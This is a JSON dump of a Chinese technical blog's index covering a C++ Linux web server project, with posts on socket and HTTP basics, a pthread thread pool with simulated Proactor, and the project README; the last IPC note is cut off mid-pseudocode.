
[{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/","section":"Blogs","summary":"","title":"Blogs","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/c++/","section":"","summary":"","title":"C++","type":"tags"},{"content":" 为什么封装原生 pthread # （忘记 unlock、异常路径泄露、忘记 destroy）\nlocker / scope_lock / cond / sem 的设计 # （RAII 自动获取与释放、pthread_cond_wait 的三步原子操作）\n条件变量 vs 信号量 # （各自的适用场景、PV 操作与管程的对应关系）\nMesa 管程语义 # （signal 只通知不阻塞、wait 返回后必须 while 重检）\n常见死锁场景与防御 # （锁排序、减小临界区、超时回退、always unlock in reverse order）\n参考资料 # 项目 GitHub ","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/cpp-raii-lock/","section":"Blogs","summary":"pthread 封装、条件变量 vs 信号量、PV 操作、管程语义","title":"C++ RAII 锁与现代同步原语","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/epoll/","section":"","summary":"","title":"Epoll","type":"tags"},{"content":" 为什么需要 I/O 多路复用 # （select → poll → epoll 的进化过程）\nepoll 工作原理 # （红黑树 + 就绪链表、epoll_create / epoll_ctl / epoll_wait）\n水平触发 vs 边缘触发 # （用具体的 recv 场景对比两者行为差异）\n非阻塞 I/O 的必要性 # （ET 下为什么必须非阻塞、阻塞 + ET 会导致什么问题）\nONESHOT 与线程安全 # （一个连接同时只被一个线程处理的保证、mod_fd 重新注册）\n本项目中的应用 # （listenfd 用 LT、connfd 用 ET+ONESHOT 的原因）\n参考资料 # 项目 GitHub man 7 epoll ","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/epoll-lt-et/","section":"Blogs","summary":"水平触发与边缘触发的区别、非阻塞 I/O 的必要性、ONESHOT 与线程安全","title":"epoll LT/ET 深入对比 — 从原理到实践","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/galewebserver/","section":"","summary":"","title":"GaleWebServer","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/series/galewebserver-%E6%8A%80%E6%9C%AF%E7%B3%BB%E5%88%97/","section":"Series","summary":"","title":"GaleWebServer 技术系列","type":"series"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/http/","section":"","summary":"","title":"HTTP","type":"tags"},{"content":" 问题：TCP 是字节流 # （一次 recv 可能只收到半个请求、\\r\\n 是唯一的边界标志）\n状态机设计 # （PARSE_REQUESTLINE → PARSE_HEADER → PARSE_BODY、主/从状态机分工）\nget_line 的实现 # （逐字节扫描 \\r\\n、截断返回、m_start_line 推进）\n常见边界情况 # （请求行超长、Content-Length 为 0、POST 体分包到达、keep-alive 复用连接）\n容易踩的坑 # （m_read_idx / m_start_line / m_checked_idx 混淆、NO_REQUEST 时不能关连接）\n参考资料 # 项目 GitHub RFC 7230 — HTTP/1.1 Message Syntax and Routing ","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/http-state-machine/","section":"Blogs","summary":"TCP 字节流问题、主/从状态机设计、常见边界情况与 bug","title":"HTTP 状态机详解 — 为什么不能一次 recv 就解析完","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/linux/","section":"","summary":"","title":"Linux","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/proactor/","section":"","summary":"","title":"Proactor","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/pthread/","section":"","summary":"","title":"Pthread","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/raii/","section":"","summary":"","title":"RAII","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/reactor/","section":"","summary":"","title":"Reactor","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/tcp/","section":"","summary":"","title":"TCP","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/webbench/","section":"","summary":"","title":"Webbench","type":"tags"},{"content":" 为什么选 Webbench # （和 wrk、ab 的对比、Webbench 的 fork 模型及其局限）\n测试环境的准备 # （ulimit -n 和 ulimit -u、listen() backlog、异步日志降低干扰）\nWebbench 的输出解读 # （Speed、成功/失败数、失败率分析）\nWSL2 vs 裸 Linux 的性能对比 # （20000 QPS vs 2880 QPS、虚拟化 TCP 栈的损耗）\n瓶颈分析 # （ack 队列、线程数 vs CPU 核数、动态内存分配、磁盘 I/O）\n下一步优化方向 # （sendfile 零拷贝、对象池、wrk 更精确认证）\n参考资料 # 项目 GitHub Webbench 源码 ","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/webbench-benchmark/","section":"Blogs","summary":"测试方法、ulimit/listen backlog 调优、WSL vs 裸 Linux 差异、瓶颈分析","title":"Webbench 压力测试与性能调优实战","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/webserver/","section":"","summary":"","title":"WebServer","type":"tags"},{"content":" 一、网络编程 # 1. 客户端-服务器编程模型 # 每个网络应用都是基与客户端－服务器模型的。采用这个模型，一个应用是由一个服务器进程和一个或者多个客户端进程组成。 服务器管理某种资源，并且通过操作这种资源来为它的客户端提供某种服务。例如，一个 Web 服务器管理着一组磁盘文件，它会代表客户端进行检索和执行。\n客户端－服务器模型中的基本操作是事务(transaction)，一个客户端－服务器事务由以下四步组成：\n2. 网络 # 客户端和服务器通常运行在不同的主机上，并且通过计算机网络的硬件和软件资源来通信。对主机而言，网络只是又一种 I/O 设备，是数据源和数据接收方，如图。\n因特网客户端和服务器通过在连接上发送和接收字节流来通信。一个套接宇是连接的一个端点。每个套接字都有相应的套接字地址，是由一个因特网 地址和一个 16 位的整数端口组成的，用“地址：端口”来表示。一个连接是由它两端的套接字地址唯一确定的。这对套接字地址叫做套接字对(socket pair), 由下列元组来表示：(cliaddr: cliport, servaddr: servport) 因特网连接分析 套接字接口是一组函数，和Unix I/O结合起来用以创建网络应用。下图是典型的概述。\nsocket函数用来创建一个套接字描述符；客户端用connect建立和服务器的连接；服务器用bind来将套接字描述符和套接字地址练习起来，用listen将sockfd从一个主动套接字转化为一个监听套接字，可以接受来自客户端的连接请求，用accept等待来自客户端的连接请求。\n二、Web基础 # Web客户端和服务器之间的交互用的是一个基于文本的应用级协议，叫做HTTP（Hypertext Transfer Protocol，超文本传输协议）。一个Web客户端（也就是浏览器）打开一个到服务器的因特网连接，并请求某些内容；服务器响应所请求的内容，然后关闭连接；浏览器读取这些内容，并把它显示在浏览器上。\n1. Web内容 # 对于Web客户端和服务器而言，内容是与一个 MIME（Multipurpose Internet Mail Extensions）类型相关的字节序列，下面是常用的MIME类型：\nMIME类型 描述 text/html HTML页面 text/plain 无格式文本 image/gif GIF格式编码的二进制图像 Web服务器可以以两种方式向客户端返回内容：\n取一个磁盘文件，并将内容返回给客户端，磁盘文件称为静态内容，返回的过程称为服务静态内容。 运行一个可执行文件，并将结果返回给客户端，可执行文件产生的输出称为动态内容，返回的过程称为服务动态内容。 每条由Web服务器返回的内容都是和它管理的某个文件关联，这些文件有唯一的名字，叫做URL(Universal Resource Locator)。确定一个URL指向的是静态内容还是动态内容没有标准，每个服务器有自己的规则。例如，确定一组目录cgi-bin，所有的可执行文件都必须存放在这些目录中。最小的URL后缀是/字符，所有服务器将其扩展为某个默认的主页例如/index.html。\n2. HTTP事务与报文 # 为了发起HTTP事务，客户端会发送一个HTTP请求报文，服务器返回HTTP响应报文，然后关闭连接。每种报文必须按照特有格式才能被浏览器识别。浏览器发送的是请求报文；返回的是响应报文。\nHTTP请求报文 HTTP请求报文由一个请求行（request line）、零个或更多个请求头部（header）、一个空行、请求数据四个部分组成。其中GET请求中请求数据部分为空。\n这是一个GET方法的请求报文例子：\nGET / HTTP/1.1 Host: localhost:8080 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 Edg/148.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 空行 请求数据为空 请求行的格式是method URI version，例如GET / HTTP/1.1。\n请求头部提供了额外的信息，格式是header-name: header-data，例如Content-Type:application/x-www-form-urlencoded说明媒体类型。\n空行用来终止头部列表。在POST方法中会有请求数据部分，可以添加其他数据。\nHTTP响应报文 HTTP响应也由四个部分组成，分别是：一个响应行、零个或更多个消息报头、一个空行和一个响应正文。\n这是一个响应报文例子：\nHTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 48 空行 \u0026lt;html\u0026gt;\u0026lt;body\u0026gt;\u0026lt;h1\u0026gt;404 Not Found\u0026lt;/h1\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 响应行的格式是version status-code status-message。状态码是一个3位的正整数，指明对请求的处理，如200是成功，404是服务器找不到所请求的文件。\n3. 服务动态内容 # CGI（Common Gateway Interface）的实现标准可以帮助服务器服务动态内容。\n首先，GET请求的参数在URI中传递，?分割文件名和参数，每个参数用\u0026amp;分隔开。POST请求的参数在请求主体中。当服务器接收到一个请求：\nGET /cgi-bin/adder?15000\u0026amp;213 HTTP/1.1 它会调用fork和execve来在子进程上下文中执行cgi-bin/adder，adder这种程序称为CGI程序，在execve之前，子进程将CGI环境变量QUERY_STRING设置为15000\u0026amp;213，从而CGI程序运行时可以用getenv函数引用它。CGI定义了大量的环境变量，在运行时可以设置。\nCGI程序将动态内容发送到标准输出。不过，子进程加载和运行CGI之前用dup2将标准输出重定向到和客户端相关联的已连接描述符，这样输出就直接到达客户端了。同样对于POST请求，子进程将标准输入重定向到服务器，方便读取参数。\n","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/web-server-basic/","section":"Blogs","summary":"Web编程的基础知识","title":"WebServer 01: 网络编程基础","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/series/webserver%E7%9F%A5%E8%AF%86/","section":"Series","summary":"","title":"WebServer知识","type":"series"},{"content":" 项目分阶段概览 # （10 个阶段：骨架 → 线程池 → epoll → HTTP → Proactor → 定时器 → 日志 → 压测）\n每个阶段的核心踩坑 # （Makefile 链接缺源文件、析构没写崩在 free、new[] vs delete 混用、大文件 recv/send 循环读发）\n一次完整的 GDB 调试记录 # （free(): invalid pointer → bt → frame N → list → 定位到 delete 了数组的元素）\n面试被问到的 10 个高频问题 # （epoll 为什么快、LT vs ET、Reactor vs Proactor、状态机为什么用、异步日志优劣）\n最受益的三个经验 # （N+1 原则的局限、用最小试验验证新模块、遇到 bug 先 bt 再问人）\n参考资料 # 项目 GitHub 完整开发指南 (PROJECT_GUIDE.md) ","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/webserver-from-scratch/","section":"Blogs","summary":"完整开发流程、10 个阶段的经验总结、常见 bug 与 GDB 调试实战","title":"从零构建 C++ Web 服务器的经验与踩坑","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E5%8E%8B%E5%8A%9B%E6%B5%8B%E8%AF%95/","section":"","summary":"","title":"压力测试","type":"tags"},{"content":" 同步日志的瓶颈 # （每次 fputs + fflush 阻塞等磁盘）\n异步日志的设计 # （业务线程只做 strdup + 入队、后台线程批量写盘）\n环形队列的实现 # （m_queue_front / m_queue_rear 模运算、O(1) 入队出队）\nstrdup / free 为什么必须配对 # （栈变量生命周期、free 时机——fputs 完后才释放）\n队列满的策略 # （静默丢弃 vs 阻塞等待、为什么选择丢弃）\n同步 vs 异步，何时用哪个 # （可靠性 vs 吞吐量的 tradeoff）\n参考资料 # 项目 GitHub ","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/async-log/","section":"Blogs","summary":"环形队列实现、strdup/free 配对、管程语义、同步 vs 异步的取舍","title":"双缓冲异步日志 — 不让磁盘 I/O 拖慢请求","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E5%B9%B6%E5%8F%91/","section":"","summary":"","title":"并发","type":"tags"},{"content":"在上一篇文章中介绍了基本的网络服务器模型，但是一次只为一个客户端提供服务是不现实的。更好的方法是创建一个并发服务器，为每一个客户端创建一个单独的逻辑流。\n构造并发程序有如下几种方法：\n多进程并发编程 在父进程中接受客户端连接请求，然后创建一个新的子进程来为每个新客户端提供服务。缺点是每个进程有独立的地址空间，使得进程共享状态信息变得困难，为了共享必须使用显示的IPC（进程间通信）机制，而开销是很高的。\nI/O多路复用并发编程 多路指的是多个socket网络连接，复用指的是复用一个线程、使用一个线程来检查多个文件描述符（Socket）的就绪状态。多路复用主要有三种技术：select，poll，epoll。epoll是最新的，也是目前最好的多路复用技术。\nI/O多路复用就是通过一种机制，一个进程可以监视多个描述符，一旦某个描述符就绪（一般是读就绪或者写就绪），能够通知程序进行相应的读写操作。\n相比于多进程，IO多路复用是在单一进程上下文中，状态得以共享；缺点就算编码复杂。尽管如此，现代高性能服务器（例如 Node.js、 nginx 和 Tornado）使用的都是基于 I/O 多路复用的事件驱动的编程方式，主要是因为相比于进程和 线程的方式，它有明显的性能优势。\n多线程并发编程 多线程的执行模型在某些方面和多进程的执行模型是相似的。每个进程开始生命周期时都是单一线程，这个线程称为主线程(main thread)。在某一时刻，主线程创建一个对等线程(peer thread) , 从这个时间点开始，两个线程就并发地运行。最后，因为主线程执行一个慢速系统调用，例如 read 或者sleep, 或者因为被系统的间隔计时器中断，控制就会通过上下文切换传递到对等线程。执行一段时间后再传递回主线程。\nPosix线程是C程序中处理线程的标准接口，相关函数包括pthread_create、pthread_detach等等。\n本项目中采用了 epoll I/O多路复用 + 线程池 + 模拟Proactor 的并发模型来实现一个高并发服务器。本文将介绍线程池和模拟Proactor的具体作用和实现。\n线程池解决了什么问题 # 在多线程并发模型中，如果每来一个请求就 pthread_create 一次、处理完 pthread_join 销毁，那么每个线程的创建涉及分配栈空间（约 8MB）、初始化内核 task_struct、建立 TLS（线程局部存储）——这些开销积累起来，CPU 时间全耗在线程管理而非业务处理上。\n线程池的思路很简单：预创建 N 个常驻线程，复用它们。 新任务来了放进任务队列，哪个线程空闲就抢走处理。关键模型是生产者-消费者：\n生产者（主线程） 消费者（工作线程） │ │ ├─ append(task) ──→ 任务队列 ←── run() 循环取任务 │ (加锁) │ └── 立刻返回 └── request-\u0026gt;process() 具体的，主线程为异步线程，负责监听文件描述符，接收socket新连接，若当前监听的socket发生了读写事件，然后将任务插入到请求队列，扔完任务立刻回去继续 epoll_wait，不等任何工作线程。8 个工作线程在 run() 里无限循环：拿锁 → 检查队列 → 有任务就取、没任务就 wait 睡觉。\n生产者-消费者模型天然消峰——工作线程忙不过来时，任务在队列里排队（最多堆积 m_max_requests = 10000 个），不会丢。队满了 append 返回 false，主线程自行决策是否放弃当前连接。\n线程池的实现要点 # 项目中线程池是模板类 threadpool\u0026lt;T\u0026gt;，所有代码在单头文件 include/threadpool.h 中（模板类不能分离到 .cpp）。\n数据结构：\n成员 类型 作用 m_workqueue std::list\u0026lt;T*\u0026gt; 任务队列，线性链表 m_mutex locker 保护队列的互斥锁 m_cond cond 条件变量，通知\u0026quot;有任务了\u0026quot; m_threads pthread_t* 线程 ID 数组 m_stop bool 关闭标志 构造线程池\ntemplate \u0026lt;typename T\u0026gt; threadpool\u0026lt;T\u0026gt;::threadpool(int thread_num, int max_requests) { // 构造函数 // 1. 合法 if (thread_num \u0026lt;= 0) thread_num = 1; if (max_requests \u0026lt;= 0) max_requests = 1; // 2. 赋值 m_thread_num = thread_num; m_max_requests = max_requests; m_threads = new pthread_t[thread_num]; m_stop = false; // 3. 创建thread_num个线程 for (int i = 0; i \u0026lt; thread_num; i++) { pthread_create(\u0026amp;m_threads[i], nullptr, worker, this); pthread_detach(m_threads[i]); } } 根据 thread_num 参数（默认 8）循环 pthread_create，每个线程入口是静态函数 worker，通过第四个参数 this 把线程池对象自己传进去。创建后 pthread_detach 分离——线程结束后自行回收资源，不需要主线程去 join。\nrun() - 工作线程的核心循环\ntemplate \u0026lt;typename T\u0026gt; void threadpool\u0026lt;T\u0026gt;::run() { // 现在线程要启动了，一个循环 while (true) { // 1. 获取锁 m_mutex.lock(); // 2. 如果队列为空 且 没有停止 就等 while (m_workqueue.empty() \u0026amp;\u0026amp; !m_stop) { // 这个wait会自动放弃锁，然后线程等待，直到在append函数中signal_one了才唤醒 // 重新获取锁，继续处理 m_cond.wait(m_mutex.get()); } if (m_stop) { m_mutex.unlock(); break; } // 3. 从队列中取出一个任务 T* request = m_workqueue.front(); m_workqueue.pop_front(); // 4. 保证**取出任务**的原子性 m_mutex.unlock(); // 执行HTTP请求 request-\u0026gt;process(); } } append() - 生产者\ntemplate \u0026lt;typename T\u0026gt; bool threadpool\u0026lt;T\u0026gt;::append(T* request) { // 1. 获取锁 m_mutex.lock(); // 2. 如果队列慢了就解锁，返回false if ((int)m_workqueue.size() \u0026gt;= m_max_requests) { m_mutex.unlock(); return false; } // 3. 加入 m_workqueue.push_back(request); // 4. 唤醒一个在run中wait的睡眠线程 m_cond.signal_one(); // 5. 解锁，返回 m_mutex.unlock(); return true; } worker() - 线程处理函数\n内部访问私有成员函数run，完成线程处理要求。\ntemplate \u0026lt;typename T\u0026gt; void* threadpool\u0026lt;T\u0026gt;::worker(void* arg) { // 线程的工作函数 // 首先arg是传入的this，进行强制类型转换，也就是把线程池对象传进来 threadpool* pool = (threadpool*)arg; // 然后调用线程池的run函数来运行线程 pool-\u0026gt;run(); return nullptr; } 几个关键点：\n条件变量的 wait 用 while 不用 if：伪唤醒——内核可能无故唤醒线程，或者多个线程被唤醒后抢锁过程中另一个线程已经把唯一的任务抢走了。while 让醒来者重新检查条件。\n取任务时持锁，执行时不持锁：request-\u0026gt;process() 可能有磁盘 I/O（读文件、写日志），耗时毫秒级。锁保护的是共享变量，尽量保持临界区的执行时间短。\ncond.wait() 传裸指针 m_mutex.get()：我的locker.h 封装了 pthread_mutex_t，.get() 返回内部裸锁地址，给条件变量 wait 使用。具体的代码可以查看locker.h的源代码。\nReactor 模式 # Reactor 模式中，主线程(I/O处理单元)只负责监听文件描述符上是否有事件发生，有的话立即通知工作线程(逻辑单元)，读写数据、接受新连接及处理客户请求均在工作线程中完成。通常由同步I/O实现。\n主线程返回就绪事件（事件分离） ↓ 主线程遍历就绪 fd 列表（事件分发） ↓ 对每个就绪 fd，调用对应的 handler： listenfd → accept_handler （接受新连接） connfd → read_handler （读请求） connfd → write_handler （写响应） 在 Reactor 模式下，工作线程拿到的是\u0026quot;裸 fd\u0026quot;，它要自己调 recv 把数据从内核缓冲区读出来，接受新连接。读写和业务处理在同一个工作线程里完成：\n主线程: 发现 fd=5 可读 → 把 fd=5 分发给工作线程 A 工作线程 A: recv(fd=5) → 读数据 → parse → 处理 → send Proactor 模式 # Proactor 把 I/O 操作从工作线程剥离出来，交给更底层的内核机制完成。\n真正 Proactor（Windows IOCP）：\n1. 主线程发起异步读 → 内核开始将数据从 socket 缓冲区拷到用户 buffer 2. 内核完成拷贝 → 通知主线程\u0026#34;I/O 完成\u0026#34; 3. 主线程分发 → 工作线程直接拿到已填满数据的 buffer 但是 Linux 的 aio_read 对 socket 支持极差（主要为磁盘 I/O 设计），因此本项目用的是同步IO模拟Proactor。\n同步I/O模拟 Proactor # 项目采用主线程\u0026quot;代理 I/O\u0026quot;的折中方案。对工作线程来说，它拿到的就是已读好的数据，效果等同于 Proactor。不同的是，I/O 不是内核异步做的，是主线程同步 recv 做的。\n同步I/O的具体流程：\n主线程在epoll内核事件表上注册socket的读就绪事件。 主线程调用epoll_wait等待socket上有数据可读。 当socket上有数据可读，epoll_wait通知主线程，主线程从socket循环读取数据，读入封装了的请求对象的缓冲区，直到没有更多数据可读。然后将封装的请求对象的指针插入请求队列。 睡眠在请求队列上某个工作线程被唤醒，它获得请求对象并处理客户请求，然后往epoll内核事件表中注册该socket上的写就绪事件 主线程调用epoll_wait等待socket可写。 当socket上有数据可写，epoll_wait通知主线程。主线程往socket上写入服务器处理客户请求的结果。 这和真 Proactor 的区别只有一点：\n真 Proactor 本项目 I/O 谁做 内核异步 aio_read 主线程同步 recv 主线程阻塞吗 不，发起后立刻返回 短暂阻塞等 recv（但都是 LT 模式，数据已在缓冲区） 工作线程感知 拿到已读好的数据 拿到已读好的数据 ✓ 为什么这样设计：Linux 下真异步 I/O 对 socket 不可用，而 Reactor 模式的工作线程和主线程都要处理 I/O 细节（工作线程自带 recv 逻辑），主线程读到不完整数据时还要处理 NO_REQUEST 和 ONESHOT 重新注册（本项目做了：process() 返回 NO_REQUEST 时工作线程通过 m_epoller-\u0026gt;mod_fd 重新注册监听）。模式职责分离更清晰。\n三种模式对比 # Reactor 真 Proactor 本项目（模拟 Proactor） 事件分离 epoll（主线程） epoll（主线程） epoll（主线程） I/O 谁做 工作线程自己 recv 内核异步 aio_read 主线程同步 recv 业务处理谁做 工作线程 工作线程 工作线程 工作线程拿到什么 裸 fd 已读好的数据 已读好的数据 主线程阻塞 不阻塞（只分发） 不阻塞 短暂阻塞（LT 缓冲已有数据） 三种模式的共同点是事件分离器都在主线程。分歧点在 I/O 归属：Reactor 分给工作线程，Proactor 交给内核，本项目由主线程代理——把 I/O 和业务处理在逻辑上分离，同时规避了 Linux AIO 的限制。\n","date":"2026/06/05","externalUrl":null,"permalink":"/blogs/threadpool-proactor/","section":"Blogs","summary":"线程池设计、Reactor 与 Proactor 的区别、为何模拟 Proactor","title":"并发模型1：线程池 + 模拟Proactor","type":"blogs"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E5%BC%80%E5%8F%91%E7%BB%8F%E9%AA%8C/","section":"","summary":"","title":"开发经验","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E5%BC%82%E6%AD%A5/","section":"","summary":"","title":"异步","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E6%80%A7%E8%83%BD/","section":"","summary":"","title":"性能","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E6%97%A5%E5%BF%97/","section":"","summary":"","title":"日志","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E7%8A%B6%E6%80%81%E6%9C%BA/","section":"","summary":"","title":"状态机","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E7%8E%AF%E5%BD%A2%E9%98%9F%E5%88%97/","section":"","summary":"","title":"环形队列","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E7%BA%BF%E7%A8%8B%E6%B1%A0/","section":"","summary":"","title":"线程池","type":"tags"},{"content":"","date":"2026/06/05","externalUrl":null,"permalink":"/tags/%E7%BD%91%E7%BB%9C%E7%BC%96%E7%A8%8B/","section":"","summary":"","title":"网络编程","type":"tags"},{"content":" 待实现 加ET/LT ； 架构补一个图\nLinux 下的轻量级 C++ Web 服务器。\n并发模型: 使用 线程池 + 非阻塞socket + epoll(ET和LT均实现) + 模拟Proactor事件处理 的并发模型 HTTP: 使用 有限状态机 解析HTTP请求报文，支持解析 GET 请求，可以请求服务器 静态文件 日志系统: 实现 同步/异步日志系统 ，记录服务器运行状态和错误信息 定时器: 采用双向链表维护每个连接的可活动时长，epoll_wait 超时驱动，O(1) 调整 压力测试: 经过Webbench压力测试可以实现 3000QPS 的吞吐量 项目结构 # webserver-cpp/ ├── main.cpp # 入口 ├── webserver.cpp # 服务器主逻辑（eventLoop + accept） ├── http_conn.cpp # HTTP 状态机 + 静态文件 + 响应 ├── epoller.cpp # epoll 封装（wait / add / mod / del） ├── timer.cpp # 定时器（升序双向链表 + tick） ├── log.cpp # 日志系统（同步/异步 + 环形队列） ├── cmdline.cpp # 命令行解析 │ ├── include/ │ ├── webserver.h │ ├── threadpool.h # 线程池模板（pthread + 条件变量） │ ├── http_conn.h │ ├── epoller.h │ ├── timer.h │ ├── locker.h # RAII 锁封装（locker / cond / sem / scope_lock） │ ├── log.h │ └── cmdline.h ├── Makefile ├── index.html # 测试页面 ├── test.jpg # 测试图片 └── PROJECT_GUIDE.md # 完整开发指南 架构 # main() ├── Cmdline: 命令行参数（端口、epoll模式、日志模式） └── WebServer: ├── Epoller: epoll 实例，监控所有 fd，ET/LT可选择 ├── threadpool: 8 个工作线程（模拟 Proactor） ├── HttpConn[]: 预分配数组，下标 = fd ├── TimerList: 双向链表，管理连接超时 ├── Log: 单例，同步/异步可选择 └── eventLoop(): epoll_wait 返回就绪 fd → accept / read_once （模拟Proactor，主线程代理 I/O） → pool.append （交给工作线程） → process() 解析 HTTP + 返回响应 性能 # 测试环境:\n总参数：线程池线程个数8个，最多同时打开65535个文件描述符，命令为: $ ulimit -n 65535 $ ./server -p 8080 -l 1 测试工具： Webbench 1.5：并发数1000，持续时间5s，命令为:webbench -c 1000 -t 5 http://localhost:8080/ wrk：并发数10000，线程数4个，持续时间5s，命令为:wrk -c 10000 -t 4 -d 5s http://localhost:8080/ 测试机器： WSL2 on Windows 11 Ubuntu 25.10 裸Linux WSL2参数 裸 Linux 参数 测试结果： WSL2 + 小文件 + Webbench，QPS=2000，失败率0% WSL2 + 小文件 + wrk，QPS=1600，失败率0% 裸 Linux + 小文件 + Webbench，QPS=17800，失败率12% 裸 Linux + 小文件 + wrk，QPS=16100，失败率0% 测试结论： 在小文件传输的情况下，在WSL2上QPS可以达到2000，在裸Linux上可以达到17000。\n因此可以说，当前的服务器在Linux下可以实现在上万并发连接的情况下达到上万QPS。\n注：由于Webbench自身问题，连接数最多只能设置为4000左右，因此这里选定1000为标准进行测试。上万连接使用wrk进行测试。\n构建 \u0026amp; 运行 # # 编译 make # 运行（同步日志） ./server -p 8080 -l 0 # 运行（异步日志，高并发推荐） ./server -p 8080 -l 1 # 关闭日志 ./server -p 8080 -c 1 浏览器访问 http://localhost:8080/，看到页面即启动成功。\n核心设计 # 模拟 Proactor # 主线程代理所有 I/O，工作线程只处理已读好的数据。\n模式 I/O 谁做 工作线程拿到什么 Reactor 工作线程自己 recv 裸 fd 真 Proactor 内核异步 aio_read 已读好的数据 本项目 主线程同步 recv 已读好的数据 Linux 的异步 I/O 对 socket 支持很差，用主线程同步 I/O 模拟异步——工作线程拿到 HttpConn 时 m_read_buf 已有数据，直接解析即可。\nepoll + 非阻塞 I/O # 概念 作用 epoll 一个系统调用同时监控所有连接的 I/O 事件，O(1) 获取就绪列表 LT（水平触发） 没读完下次还通知，编程简单 ET（边缘触发） 状态变化才通知一次，效率更高但必须配合非阻塞 + 循环读 ONESHOT 一次通知后自动移除，保证一个连接同时只被一个线程处理 非阻塞 socket recv/send 无数据不卡线程，立即返回 EAGAIN HTTP 状态机 # PARSE_REQUESTLINE → PARSE_HEADER → PARSE_BODY → GET_REQUEST TCP 是字节流，一次 recv 可能只收到半个请求。状态机按 \\r\\n 逐行取、分阶段解析，数据不全就返回 NO_REQUEST 等下一轮。\n线程池 # 成员 说明 8 个常驻线程 复用不销毁，避免频繁创建开销 互斥锁 + 条件变量 保护任务队列，空闲时 wait 休眠不占 CPU 优雅关闭 m_stop = true → broadcast 全唤醒 → 各线程退出 定时器 # 升序双向链表。所有连接超时时长相同，最近活跃的在尾部，最久未活跃的在头部。新连接 O(1) 挂尾，活跃连接 O(1) 移到尾。用 epoll_wait(timeout) 驱动 tick，不用信号。\n日志系统 # 单例 + 同步/异步可切换。Hansen/Mesa 管程语义：wait 原子释放锁并阻塞，signal 唤醒等待者——你在线程池和日志中都用到了。\n同步: 业务线程 → fputs → fflush（每行刷盘，可靠但慢） 异步: 业务线程 → strdup → 环形队列 → signal → 返回（不等磁盘） 后台线程: wait 醒来 → 批量写盘 → free 技术文章 # 文章 内容 并发模型1：线程池 + 模拟Proactor 线程池解析、本项目为何模拟 Proactor 并发模型2：epoll LT/ET 深入对比 触发机制、非阻塞的必要性、ONESHOT 与线程安全 HTTP 状态机详解 TCP 字节流问题、主/从状态机、常见边界情况 C++ RAII 锁与现代同步原语 pthread 封装、条件变量 vs 信号量、PV 操作 双缓冲异步日志实现 环形队列、strdup/free 配对、管程语义 Webbench 压力测试与性能调优 测试方法、系统参数调优、瓶颈分析 从零构建 C++ Web 服务器的经验与踩坑 完整开发流程、常见 bug、GDB 调试实战 链接指向博客对应文章，陆续更新中。\n许可 # MIT License\n","date":"2026/06/04","externalUrl":null,"permalink":"/projects/galewebserver/","section":"项目","summary":"🔥Linux下C++轻量级Web服务器","title":"GaleWebServer","type":"projects"},{"content":"","date":"2026/06/04","externalUrl":null,"permalink":"/series/operating-systemsnotes/","section":"Series","summary":"","title":"Operating Systems::Notes","type":"series"},{"content":"","date":"2026/06/04","externalUrl":null,"permalink":"/tags/os/","section":"","summary":"","title":"OS","type":"tags"},{"content":" 一、Linux的IPC机制 # Linux提供了多种进程间通信（IPC）机制，主要包括：原子操作、信号、管道、命名管道（FIFO）、消息队列、共享内存、Futex、套接字和信号量等。这些机制各有特点，适用于不同的场景。\n消息传递 消息传递是指一个进程将数据发送给另一个进程，接收进程通过某种方式获取这些数据。发送进程通过系统调用send将数据发送到内核，内核将数据存储在一个消息队列中，接收进程通过阻塞在系统调用recv从消息队列中获取数据。消息传递机制适用于需要频繁交换数据的场景，如客户端-服务器通信。\n消息缓冲区结构：消息头（类型、接收方 PID、发送方 PID、长度、控制信息）+ 消息体。\n用 PV 操作实现 send 原语：\nbuf-empty（初值 n），buf-full（初值 0），mutex1, mutex2 send(dest, \u0026amp;msg): P(buf-empty); P(mutex1); 取空缓冲区; V(mutex1); 将消息复制到缓冲区; P(mutex2); 挂到接收进程消息队列; 